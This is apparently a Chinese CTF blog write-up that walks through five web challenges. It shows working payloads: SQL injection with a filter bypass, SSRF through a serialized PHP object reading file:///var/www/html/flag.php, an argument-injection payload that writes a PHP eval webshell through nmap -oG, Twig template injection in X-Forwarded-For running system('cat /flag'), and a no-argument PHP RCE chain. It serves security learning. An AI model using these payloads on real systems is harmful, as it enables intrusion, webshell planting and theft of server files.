目录
4.[BJDCTF2020]The mystery of ip 1
1.[网鼎杯 2018]Fakebook 1
考点:
SSRF,也就是Server Side RequestForgery—服务器端请求伪造。从字面上来看,与CSRF不同的是,它是服务器端发出的请求伪造而非从用户一端提交。别误会,作为受信任用户,服务器当然不可能做出损害用户信息的事。它是一种由攻击者构造形成,由服务端发起请求的一个安全漏洞。因为它是由服务端发起的,所以它能够请求到与它相连但与外网隔离的内部系统。
原文链接:https://blog.csdn.net/qq_44657899/article/details/104884553
先创建一个自己的页面,点进去
在源码找不到有帮助的信息
但在网址上发现sql注入点
我们查看查看一下列数
4列回显正常,5列回显错误
试着联合查询,发现我union select被过滤
我们用union/**/select绕过,
回显点在2,发现数据库fakebook
查表:
?no=1 union/**/select 1,group_concat(table_name),3,4 from information_schema.tables where table_schema='fakebook'
发现user表,查字段
?no=-1 union/**/select 1,group_concat(column_name),3,4 from information_schema.columns where table_name='users'
?no=-1 union/**/select 1,group_concat(no,uersname,passwd,data),3,4 from users
提示序列化,但不知道序列化什么内容,这时候我们扫一下网站目录看看有没有隐藏文件,扫到robots.txt,访问一下
确实有隐藏文件,下载下就是源码
<?php
class UserInfo
{
public $name = "";
public $age = 0;
public $blog = "";
public function __construct($name, $age, $blog)
{
$this->name = $name;
$this->age = (int)$age;
$this->blog = $blog;
}
function get($url)
{
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$output = curl_exec($ch);
$httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE);
if($httpCode == 404) {
return 404;
}
curl_close($ch);
return $output;
}
public function getBlogContents ()
{
return $this->get($this->blog);
}
public function isValidBlog ()
{
$blog = $this->blog;
return preg_match("/^(((http(s?))\:\/\/)?)([0-9a-zA-Z\-]+\.)+[a-zA-Z]{2,6}(\:[0-9]+)?(\/\S*)?$/i", $blog);
}
}
漏洞点
function get($url)
{
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$output = curl_exec($ch);
$httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE);
if($httpCode == 404) {
return 404;
}
curl_close($ch);
return $output;
}
public function getBlogContents ()
{
return $this->get($this->blog);
}
这个地方是直接吧blog当作参数传给get()函数,url没有经过任何限制,是存在ssrf的。这个地方可以使用file:///var/www/html/flag.php读取flag.php,构造payload
我们序列化内容
列数为四,我们在第四列,blog栏传参
?no=-1 union/**/select 1,2,3,'O:8:"UserInfo":3:{s:4:"name";s:1:"1";s:3:"age";i:11;s:4:"blog";s:29:"file:///var/www/html/flag.php";}'#
flag在源码里,base64解密即可
2.[RoarCTF 2019]Easy Java 1
看看help页面有什么,发现一个文件,但GEt方式无法下载,用POST
下载后就是
下面是大佬总结的考点:原文链接:https://blog.csdn.net/weixin_44522540/article/details/115327172
敏感目录
(1) /WEB-INF/web.xml:Web应用程序配置文件,描述了 servlet 和其他的应用组件配置及命名规则。
(2) /WEB-INF/classes/:含了站点所有用的 class 文件,包括 servlet class 和非servlet class,他们不能包含在 .jar文件中
(3) /WEB-INF/lib/:存放web应用需要的各种JAR文件,放置仅在这个应用中要求使用的jar文件,如数据库驱动jar文件
(4) /WEB-INF/src/:源码目录,按照包名结构放置各个java文件。
(5)/WEB-INF/database.properties:数据库配置文件
WEB-INF/web.xml泄露
漏洞成因:通常一些web应用我们会使用多个web服务器搭配使用,解决其中的一个web服务器的性能缺陷以及做均衡负载的优点和完成一些分层结构的安全策略等。在使用这种架构的时候,由于对静态资源的目录或文件的映射配置不当,可能会引发一些的安全问题,导致web.xml等文件能够被读取。
漏洞检测以及利用方法:通过找到web.xml文件,推断class文件的路径,最后直接class文件,在通过反编译class文件,得到网站源码。
我们POST访问/WEB-INF/web.xml
打开
POST访问对应的.class文件
.class文件需要反编译才能看到源码,这里推荐GDA,比较方便
解码即得flag
3.[BUUCTF 2018]Online Tool 1
题目打开先是一段代码审计
这里看到了两个很陌生的函数
$host = escapeshellarg($host);
$host = escapeshellcmd($host);
PHP escapeshellarg()+escapeshellcmd() 之殇
先介绍一下函数(从别人那copy来的):
escapeshellarg — 把字符串转码为可以在 shell 命令里使用的参数
功能 :escapeshellarg() 将给字符串增加一个单引号并且能引用或者转码任何已经存在的单引号,
这样以确保能够直接将一个字符串传入 shell 函数,shell 函数包含 exec(), system() 执行运算符(反引号)
1
2
3
4
escapeshellcmd — shell 元字符转义
功能:escapeshellcmd() 对字符串中可能会欺骗 shell 命令执行任意命令的字符进行转义。
此函数保证用户输入的数据在传送到 exec() 或 system() 函数,或者 执行操作符 之前进行转义。
反斜线(\)会在以下字符之前插入:
&#;`|\?~<>^()[]{}$*, \x0A 和 \xFF*。 *’ 和 “ 仅在不配对儿的时候被转义。
在 Windows 平台上,所有这些字符以及 % 和 ! 字符都会被空格代替。
1
2
3
4
5
6
7
8
用那篇文章的例子解释一下:
传入参数是:172.17.0.2' -v -d a=1
首先经过escapeshellarg处理后变成了'172.17.0.2'\'' -v -d a=1',
即先对单引号转义,再用单引号将左右两部分括起来从而起到连接的作用。
再经过escapeshellcmd处理后变成'172.17.0.2'\\'' -v -d a=1\',
这是因为escapeshellcmd对\以及最后那个不配对儿的引号进行了转义
最后执行的命令是curl '172.17.0.2'\\'' -v -da=1\',
由于中间的\\被解释为\而不再是转义字符,所以后面的'没有被转义,与再后面的'配对儿成了一个空白连接符。
所以可以简化为curl 172.17.0.2\ -v -d a=1',即向172.17.0.2\发起请求,POST 数据为a=1’。
原理懂了,怎么用呢,我不知道,食我压·····,去瞄一眼别人的wp,看到了可以用nmap命令-oG将一个命令写入到自己指定的文件中,恍然大悟,payload:
?host=' <?php eval($_POST["v"]);?> -oG shell.php '
————————————————
版权声明:本文为CSDN博主「k0f1i」的原创文章,遵循CC 4.0 BY-SA版权协议,转载请附上原文出处链接及本声明。
原文链接:[BUUCTF 2018]Online Tool(超详细解析payload)_k0f1i的博客-CSDN博客_payload解析
对于payload的理解大佬已给出详细的解释,换句话说,我不懂
红色标出的地方是写入文件的目录,我们访问shell.php一定要在shell.php前面加上对应的目录,否则访问失败
菜刀连接,flag在根目录下
4.[BJDCTF2020]The mystery of ip 1
考点:
X-Forwarded-For
注入- PHP可能存在Twig模版注入漏洞
在flag.php和hinit.php下什么也没发现,抓包看看
请求包中添加:X-Forwarded-For:1,看看回显
被成功执行,说明XFF
可控,测试了半天,因为是php页面,所以没想到模版注入,通过查阅资料
Flask可能存在Jinjia2模版注入漏洞
PHP可能存在Twig模版注入漏洞
添加模版算式,检测其是否可被执行:
X-Forwarded-For:{{7*7}}
命令成功执行,下面看看根目录下的文件
X-Forwarded-For:{{system('ls /')}}
查看flag:
X-Forwarded-For:{{system('cat /flag')}}
5.[GXYCTF2019]禁止套娃 1
看到这,首先想到GIT源码泄露
kali下用Githack 看看
发现index.php
<?php
include "flag.php";
echo "flag在哪里呢?<br>";
if(isset($_GET['exp'])){
if (!preg_match('/data:\/\/|filter:\/\/|php:\/\/|phar:\/\//i', $_GET['exp'])) {
if(';' === preg_replace('/[a-z,_]+\((?R)?\)/', NULL, $_GET['exp'])) {
if (!preg_match('/et|na|info|dec|bin|hex|oct|pi|log/i', $_GET['exp'])) {
// echo $_GET['exp'];
@eval($_GET['exp']);
}
else{
die("还差一点哦!");
}
}
else{
die("再好好想想!");
}
}
else{
die("还想读flag,臭弟弟!");
}
}
// highlight_file(__FILE__);
?>
大佬的博客:(85条消息) [GXYCTF2019]禁止套娃1(两种方法)_hcjtn的博客-CSDN博客_无参数rce
好了,现在就是代码审计了
最吸引眼球的就是 eval的一句话木马,题目又加了好多过滤限制了REC
首先是 php伪协议 data协议 filter协议 都不能使用了
然后该网站使用了正则匹配 其实这就是无参数的rce
如果如果’;'===preg_replace(…),那么就执行exp传递的命令
(?R)? : (?R)代表当前表达式,就是这个(/[a-z,_]+((?R)?)/),所以会一直递归,?表示递归当前表达式0次或1次(若是(?R)*则表示递归当前表达式0次或多次,例如它可以匹配a(b(c()d())))
无参数REC 一般有三种绕过姿势:
gettallheaders()
get_defined_vars()
session_id()
具体可以参考博客
紧接着 又是一次黑名单过滤,很多的关键字都被黑掉了(带有get 函数的,肯定是不能用了)
但还有一个函数 scandir 以扫描当前目录下的文件
这里,我就直接构造payload:
exp=highlight_file(next(array_reverse(scandir(pos(localeconv())))));
1
highlight_file() 函数对文件进行语法高亮显示,本函数是show_source() 的别名
next() 输出数组中的当前元素和下一个元素的值。
array_reverse() 函数以相反的元素顺序返回数组。(主要是能返回值)
scandir() 函数返回指定目录中的文件和目录的数组。
pos() 输出数组中的当前元素的值。
localeconv() 函数返回一个包含本地数字及货币格式信息的数组,该数组的第一个元素就是"."。
原理:
loacleconv 函数会固定返回一个 . 然后pos将我们获得的 .返回到我们构造的 payload 使得 scandir能够返回当前目录下的数组(换句话说,就是读出当前目录下的文件) rray_reverse()以相反的顺序输出(目的是以正序输出查询出来的内容)然后 next 提取第二个元素(将.过滤出去),最后用highlight_file()给显示出来。